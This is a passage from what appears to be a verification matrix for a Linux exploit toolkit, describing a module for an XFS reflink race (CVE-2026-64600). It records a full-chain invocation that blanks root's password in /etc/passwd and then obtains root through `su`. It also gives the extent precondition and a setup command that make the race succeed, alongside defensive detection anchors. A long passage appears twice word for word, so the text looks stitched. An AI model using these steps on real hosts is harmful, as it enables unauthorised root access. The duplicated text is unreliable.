-> reflink CONFIRMED; phase A observed FIEMAP_EXTENT_SHARED on a real shared extent (note: btrfs never reported that flag during host-side testing, XFS does โ€” which is why the module treats FICLONE success, not FIEMAP, as the authoritative gate); O_DIRECT available; scratch dir self-cleaned with no artifacts; the source also built clean on el9 gcc. The SHIPPED trigger (8 writers / 2 helpers / 16 rounds / 2s) ran and did NOT win โ€” that is INTENDED under-driving, not a defect. THE UNDERLYING BUG WAS SEPARATELY CONFIRMED WINNABLE on this kernel via the VM-only harness tools/verify-vm/refluxfs_verify.c, driven at the public PoC's parameters (32 writers / 8 helpers, 60s budget): 4/4 runs won, first divergence after 69, 114, 170 and 494 rounds โ€” a racing O_DIRECT write landed on a still-shared block and rewrote the donor's on-disk bytes, i.e. the arbitrary-overwrite primitive observed directly, contained to files the test user owned. No oops, no dmesg output, no instability โ€” consistent with a data-oriented bug. Takeaway for future sweeps: a non-win from the shipped trigger must NEVER be recorded as 'patched'; trust the version gate and the vendor erratum." + verified: "2026-07-23 โ€” CONFIRMED END-TO-END (full root pop) on Rocky Linux 9.8 / 5.14.0-687.10.1.el9_8.0.1.x86_64, qemu/KVM, 6 vCPUs. The corpus's FIRST rpm-family verification. FULL CHAIN: `--exploit refluxfs --i-know --full-chain` reflink-cloned /etc/passwd, raced the CoW window, stripped root's password field on-disk (root:x: -> root::), evicted the stale page cache, and returned EXPLOIT_OK; `su root` (empty password) then gave uid=0 โ€” 3/3 wins on a private-extent target (1244/3716/7913 rounds, 4-30 s) as unprivileged uid=1000 under SELinux Enforcing, every other passwd line preserved, file backed up + restored via `--cleanup`. PRIVATE-EXTENT PRECONDITION (found here, not in the writeup): the race only fires when the target's extent refcount is exactly the attacker-clone pair, i.e. the extent must be PRIVATE going in. Stock Rocky 9's /etc/passwd ships PRE-SHARED (refcount>1 in the base image) and was NOT attackable across ~41,000 rounds; rewriting it so the extent became private (byte-identical content, as any useradd/passwd/vipw does) made it fall in ~2,000 rounds. So the exploitable state is the normal administered state. detect() --active reports the target's extent state. Provisioner note for re-verification: after boot, run `cp --reflink=never /etc/passwd /root/pw && cp --reflink=never /root/pw /etc/passwd` (or just `passwd`/`useradd` anything) to move /etc/passwd to a private extent, then run the full chain. Plain --exploit (no --full-chain) runs only the safe own-files trigger (EXPLOIT_FAIL). Stock GenericCloud layout needed NO provisioner changes: root is /dev/vda4 XFS with reflink=1 out of the box, which is exactly why this CVE hits the RHEL family so broadly. Results: detect() -> VULNERABLE (found writable XFS at /var/tmp); the rpm-family vendor-backport caveat fired correctly; `--active` FICLONE witness -> reflink CONFIRMED; phase A observed FIEMAP_EXTENT_SHARED on a real shared extent (note: btrfs never reported that flag during host-side testing, XFS does โ€” which is why the module treats FICLONE success, not FIEMAP, as the authoritative gate); O_DIRECT available; scratch dir self-cleaned with no artifacts; the source also built clean on el9 gcc. The SHIPPED trigger (8 writers / 2 helpers / 16 rounds / 2s) ran and did NOT win โ€” that is INTENDED under-driving, not a defect. THE UNDERLYING BUG WAS SEPARATELY CONFIRMED WINNABLE on this kernel via the VM-only harness tools/verify-vm/refluxfs_verify.c, driven at the public PoC's parameters (32 writers / 8 helpers, 60s budget): 4/4 runs won, first divergence after 69, 114, 170 and 494 rounds โ€” a racing O_DIRECT write landed on a still-shared block and rewrote the donor's on-disk bytes, i.e. the arbitrary-overwrite primitive observed directly, contained to files the test user owned. No oops, no dmesg output, no instability โ€” consistent with a data-oriented bug. Takeaway for future sweeps: a non-win from the shipped trigger must NEVER be recorded as 'patched'; trust the version gate and the vendor erratum." notes: "CVE-2026-64600 'RefluXFS'; XFS reflink CoW ILOCK-cycling TOCTOU race (Qualys TRU, Saeed Abbasi; advisory credits model-assisted analysis with Anthropic; video PoC on RHEL 10.2). Introduced 4.11 (3c68d44a2b49, direct-I/O CoW alloc in iomap_begin); fixed 2f4acd0fcd86 (mainline 7.2-rc4, merged 2026-07-16), stable backports 7.1.4 / 6.18.39 / 6.12.96; the 6.6/6.1/5.15/5.14/5.10/4.19/4.18 lines have no upstream stable fix. PROVISIONER REQUIREMENT โ€” unlike every other module in this matrix, detect() has a STORAGE precondition, and all five boxes here are Debian/Ubuntu with ext4 roots, so a stock box correctly returns PRECOND_FAIL. To exercise the VULNERABLE path the provisioner must create a reflink-enabled XFS volume the unprivileged user can write to, e.g.: `truncate -s 2G /var/tmp/xfs.img && mkfs.xfs -m reflink=1 /var/tmp/xfs.img && mkdir -p /mnt/xfs && mount -o loop /var/tmp/xfs.img /mnt/xfs && chmod 1777 /mnt/xfs` (Ubuntu 22.04 ships xfsprogs 5.13, where reflink=1 is already the mkfs default). detect() finds it by scanning /proc/mounts for fstype xfs and confirming statfs() f_type == XFS_SUPER_MAGIC + write access โ€” note it deliberately does NOT accept a successful FICLONE as proof, since btrfs implements FICLONE and is unaffected. Without the provisioner step, expect_detect is PRECOND_FAIL; with it, VULNERABLE. Both verdicts are worth recording. The version+precondition matrix is also covered by the 14 detect() unit rows in tests/test_detect.c (incl. 4.18/5.14 el8/el9 bases, the 6.13.0 'newer than some entries but not all' case, and the no-XFS PRECOND_FAIL row) driven via SKELETONKEY_XFS_ASSUME_REFLINK=1/0. IDEAL TARGET, NOT IN THIS MATRIX: a Rocky/Alma/CentOS Stream 9 box, where XFS+reflink is the INSTALLER default and no provisioner step is needed โ€” that is the real affected population (RHEL/CentOS/Rocky/Alma/Oracle/CloudLinux 8-10, Fedora Server >= 31, Amazon Linux 2023) and is the reason this module ships unverified. Adding an rpm-family box to boxes/ is the follow-up. CAVEAT for any rpm-family sweep: those vendors backport WITHOUT bumping the upstream version (a patched el8 kernel still reports 4.18.0-*), so a VULNERABLE verdict there reflects the upstream base version only and must be reconciled against the RHSA/ELSA/ALSA/RLSA erratum โ€” detect() prints that warning itself. exploit() forks a child that works ONLY inside a private mkdtemp scratch dir on two files it owns: it establishes a shared extent (FICLONE, corroborated by FIEMAP_EXTENT_SHARED) and an O_DIRECT gate, then races a HARD-BOUNDED 8 writers / 2 ftruncate+fdatasync helpers / 16 rounds / 2s and stops, reading the donor back with O_DIRECT (a buffered read would be served from the page cache the corruption bypasses) and reporting divergence honestly. DELIBERATELY UNDER-DRIVEN (public PoC uses 32 writers / 8 helpers) and it NEVER clones or targets a file it does not own โ€” the /etc/passwd overwrite -> su -> root step persistently rewrites a system file on disk with no undo and is NOT bundled. Returns EXPLOIT_FAIL. Provisioner note โ€” this is SAFER to run than the other reconstructed race triggers, not more dangerous: the bug corrupts file DATA, not kernel memory, so there is no oops/KASAN/panic path, and a won race damages 4 KiB of a scratch file the module then deletes. Safety rank 55. Detection: auditd/sigma anchor on ioctl request 0x40049409 (FICLONE) and openat O_DIRECT; the yara rule matches the on-disk artifact because FIM CANNOT see this attack (the write bypasses the victim inode, leaving mtime/ctime/size untouched). Sweep + trigger validation pending." # โ”€โ”€ ghostlock (CVE-2026-43499) addition โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€